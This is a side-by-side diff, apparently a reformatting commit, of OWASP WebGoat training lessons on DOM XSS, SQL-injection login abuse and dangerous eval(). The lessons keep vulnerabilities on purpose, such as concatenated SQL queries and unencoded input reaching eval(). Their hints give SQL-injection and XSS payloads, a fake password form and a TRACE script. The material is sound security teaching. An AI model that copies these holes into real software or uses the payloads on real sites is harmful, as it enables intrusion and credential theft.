return ("LAB: DOM-Based cross-site scripting"); return ("LAB: DOM-Based cross-site scripting");
} }
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) { if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>"; instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>";
} else if (getLessonTracker(s).getStage() == 2) { }
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag";
} else if (getLessonTracker(s).getStage() == 3) { }
else if (getLessonTracker(s).getStage() == 3)
{
instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag.";
} else if (getLessonTracker(s).getStage() == 4) { }
instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>" + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + else if (getLessonTracker(s).getStage() == 4)
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"; {
} else if(getLessonTracker(s).getStage() == 5) { instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>"
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;";
}
else if (getLessonTracker(s).getStage() == 5)
{
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js."; instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js.";
} }
return (instructions); return (instructions);
} }
private String getFileContent(String content) private String getFileContent(String content)
{ {
BufferedReader is = null; BufferedReader is = null;
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
try try
{ {
is = new BufferedReader(new FileReader(new File(content))); is = new BufferedReader(new FileReader(new File(content)));
String s = null; String s = null;
while((s = is.readLine()) != null) while ((s = is.readLine()) != null)
{ {
sb.append(s); sb.append(s);
} }
} } catch (Exception e)
catch (Exception e) {
{ e.printStackTrace();
e.printStackTrace(); } finally
} {
finally if (is != null)
{ {
if(is != null) try
{ {
try is.close();
{ } catch (IOException ioe)
is.close(); {
}
catch (IOException ioe)
{
} }
} }
} }
return sb.toString(); return sb.toString();
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.sql.Connection; import java.sql.Connection;
@ -7,7 +8,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,38 +18,36 @@ import org.apache.ecs.html.P;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -59,70 +57,69 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
public class DOS_Login extends LessonAdapter public class DOS_Login extends LessonAdapter
{ {
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String PASSWORD = "Password"; protected final static String PASSWORD = "Password";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
String username = ""; String username = "";
String password = ""; String password = "";
username = s.getParser().getRawParameter(USERNAME); username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD); password = s.getParser().getRawParameter(PASSWORD);
// don;t allow user name from other lessons. it would be too simple. // don;t allow user name from other lessons. it would be too simple.
if (username.equals("jeff") || username.equals("dave")) if (username.equals("jeff") || username.equals("dave"))
{ {
ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson")); ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson"));
return (ec.addElement(makeLogin(s))); return (ec.addElement(makeLogin(s)));
} }
// Check if the login is valid // Check if the login is valid
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_system_data WHERE user_name = '" String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '"
+ username + "' and password = '" + password + "'"; + password + "'";
ec.addElement(new StringElement(query)); ec.addElement(new StringElement(query));
try try
{ {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
if (results.getRow() >= 1) if (results.getRow() >= 1)
{ {
// Make sure this isn't data from an sql injected query. // Make sure this isn't data from an sql injected query.
if (results.getString(2).equals(username) && results.getString(3).equals(password)) if (results.getString(2).equals(username) && results.getString(3).equals(password))
{ {
String insertData1 = "INSERT INTO user_login VALUES ( '" String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '"
+ username + s.getUserName() + "' )";
+ "', '" statement.executeUpdate(insertData1);
+ s.getUserName()
+ "' )";
statement.executeUpdate(insertData1);
} }
// check the total count of logins // check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
@ -131,134 +128,125 @@ public class DOS_Login extends LessonAdapter
// If they get back more than one user they succeeded // If they get back more than one user they succeeded
if (results.getRow() >= 3) if (results.getRow() >= 3)
{ {
makeSuccess(s); makeSuccess(s);
String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + "'"; String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName()
statement.executeUpdate(deleteData1); + "'";
return (new H1("Congratulations! Lesson Completed")); statement.executeUpdate(deleteData1);
return (new H1("Congratulations! Lesson Completed"));
} }
ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow())); ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow()));
} }
} }
else else
{ {
ec.addElement(new H2("Login Failed")); ec.addElement(new H2("Login Failed"));
// check the total count of logins // check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
+ s.getUserName() + "'"; results = statement.executeQuery(query);
results = statement.executeQuery(query); results.last();
results.last(); ec.addElement(new H2("Successfull login count: " + results.getRow()));
ec.addElement(new H2("Successfull login count: "
+ results.getRow()));
} }
} } catch (SQLException sqle)
catch (SQLException sqle) {
{
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
/** /**
* Catching this exception prevents the "Error generating org.owasp.webgoat.lesson.DOS_Login" * Catching this exception prevents the "Error generating
* message from being displayed on first load. Note that if we are missing a parameter in * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note
* the request, we do not want to continue processing and we simply want to display the * that if we are missing a parameter in the request, we do not want to continue
* default login page. * processing and we simply want to display the default login page.
*/ */
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
return (ec.addElement(makeLogin(s))); return (ec.addElement(makeLogin(s)));
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.DOS;
}
/**
* Gets the hints attribute of the CookieScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Use a SQL Injection to obtain the user names. ");
hints
.add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
hints
.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Denial of Service from Multiple Logins");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
// add the login fields
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor())
{
t.setBorder(1);
} }
TR row1 = new TR(); /**
TR row2 = new TR(); * Gets the category attribute of the WeakAuthenticationCookie object
row1.addElement(new TD(new StringElement("User Name: "))); *
row2.addElement(new TD(new StringElement("Password: "))); * @return The category value
*/
protected Category getDefaultCategory()
{
return Category.DOS;
}
Input input1 = new Input(Input.TEXT, USERNAME, ""); /**
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); * Gets the hints attribute of the CookieScreen object
row1.addElement(new TD(input1)); *
row2.addElement(new TD(input2)); * @return The hints value
t.addElement(row1); */
t.addElement(row2); protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Use a SQL Injection to obtain the user names. ");
hints
.add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
hints.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
return hints;
}
Element b = ECSFactory.makeButton("Login"); private final static Integer DEFAULT_RANKING = new Integer(90);
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec); protected Integer getDefaultRanking()
} {
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Denial of Service from Multiple Logins");
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
// add the login fields
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor())
{
t.setBorder(1);
}
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement("User Name: ")));
row2.addElement(new TD(new StringElement("Password: ")));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -20,54 +20,57 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Eric Sheridan, Aspect Security <a href="http://www.aspectsecurity.com"/> * @author Eric Sheridan, Aspect Security <a href="http://www.aspectsecurity.com"/>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class DangerousEval extends LessonAdapter public class DangerousEval extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
public final static String PASSED = "__DANGEROUS_EVAL_PASS"; public final static String PASSED = "__DANGEROUS_EVAL_PASS";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
*/
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1); Pattern pattern1 = Pattern.compile(regex1);
@ -77,204 +80,215 @@ public class DangerousEval extends LessonAdapter
checkSuccess(s); checkSuccess(s);
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
//String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); // String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214
float quantity = 1.0f; // 0002 1999"));
float total = 0.0f; float quantity = 1.0f;
float runningTotal = 0.0f; float total = 0.0f;
float runningTotal = 0.0f;
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement("<script src=\"javascript/eval.js\"/>"); ec.addElement("<script src=\"javascript/eval.js\"/>");
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%")); tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%")); tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right")); tr.addElement(new TD().addElement(
quantity = s.getParser().getFloatParameter("QTY1", 0.0f); new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
total = quantity * 69.99f; "1")))
runningTotal += total; .setAlign("right"));
tr.addElement(new TD().addElement("$" + total)); quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
t.addElement(tr); total = quantity * 69.99f;
tr = new TR(); runningTotal += total;
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("$" + total));
tr.addElement(new TD().addElement("27.99").setAlign("right")); t.addElement(tr);
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right")); tr = new TR();
quantity = s.getParser().getFloatParameter("QTY2", 0.0f); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
total = quantity * 27.99f; tr.addElement(new TD().addElement("27.99").setAlign("right"));
runningTotal += total; tr.addElement(new TD().addElement(
tr.addElement(new TD().addElement("$" + total)); new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
t.addElement(tr); "1")))
tr = new TR(); .setAlign("right"));
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™")); quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
tr.addElement(new TD().addElement("1599.99").setAlign("right")); total = quantity * 27.99f;
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right")); runningTotal += total;
quantity = s.getParser().getFloatParameter("QTY3", 0.0f); tr.addElement(new TD().addElement("$" + total));
total = quantity * 1599.99f; t.addElement(tr);
runningTotal += total; tr = new TR();
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
t.addElement(tr); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr = new TR(); tr.addElement(new TD().addElement(
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
tr.addElement(new TD().addElement("299.99").setAlign("right")); "1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right")); tr.addElement(new TD().addElement(
quantity = s.getParser().getFloatParameter("QTY4", 0.0f); new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
total = quantity * 299.99f; "1")))
runningTotal += total; .setAlign("right"));
tr.addElement(new TD().addElement("$" + total)); quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
t.addElement(tr); total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:")); tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal)); tr.addElement(new TD().addElement("$" + runningTotal));
Input b = new Input();
b.setType(Input.BUTTON);
b.setValue("Update Cart");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
Input b = new Input(); tr.addElement(new TD().addElement(b));
b.setType(Input.BUTTON); t.addElement(tr);
b.setValue("Update Cart"); tr = new TR();
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD()
.addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input id='field1' name='field1' type='TEXT' value='123'>"));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
b = new Input();
b.setType(Input.BUTTON);
b.setValue("Purchase");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
t.addElement(tr);
tr.addElement(new TD().addElement(b)); ec.addElement(t);
t.addElement(tr); ec.addElement(new BR());
tr = new TR(); ec.addElement(new HR().setWidth("90%"));
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); } catch (Exception e)
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input id='field1' name='field1' type='TEXT' value='123'>"));
//tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
b = new Input();
b.setType(Input.BUTTON);
b.setValue("Purchase");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
/** /**
* DOCUMENT ME! * Gets the hints attribute of the AccessControlScreen object
* *
* @return DOCUMENT ME! * @return The hints value
*/ */
protected Category getDefaultCategory() protected List<String> getHints(WebSession s)
{ {
return Category.AJAX_SECURITY;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The lesson is similar to the standard reflected cross-site scripting lesson."); hints.add("The lesson is similar to the standard reflected cross-site scripting lesson.");
hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem."); hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem.");
hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?"); hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?");
hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters."); hints
.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters.");
hints.add("In order to pass this lesson, you must 'alert' the document.cookie."); hints.add("In order to pass this lesson, you must 'alert' the document.cookie.");
hints.add("Try 123');alert(document.cookie);('"); hints.add("Try 123');alert(document.cookie);('");
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // = new
/** // ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
* Gets the instructions attribute of the WeakAccessControl object // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
* /**
* @return The instructions value * Gets the instructions attribute of the WeakAccessControl object
*/ *
public String getInstructions(WebSession s) * @return The instructions value
{ */
public String getInstructions(WebSession s)
{
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie."; String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return "Dangerous Use of Eval";
}
/** public Element getCredits()
* Gets the title attribute of the AccessControlScreen object {
* return super.getCustomCredits("", ASPECT_LOGO);
* @return The title value }
*/
public String getTitle()
{
return "Dangerous Use of Eval";
}
public Element getCredits() /**
{ * Check to see if JSP says they passed the lesson.
return super.getCustomCredits("", ASPECT_LOGO); *
} * @param s
*/
private void checkSuccess(WebSession s)
{
javax.servlet.http.HttpSession session = s.getRequest().getSession();
/** if (session.getAttribute(PASSED) != null)
* Check to see if JSP says they passed the lesson.
* @param s
*/
private void checkSuccess(WebSession s)
{
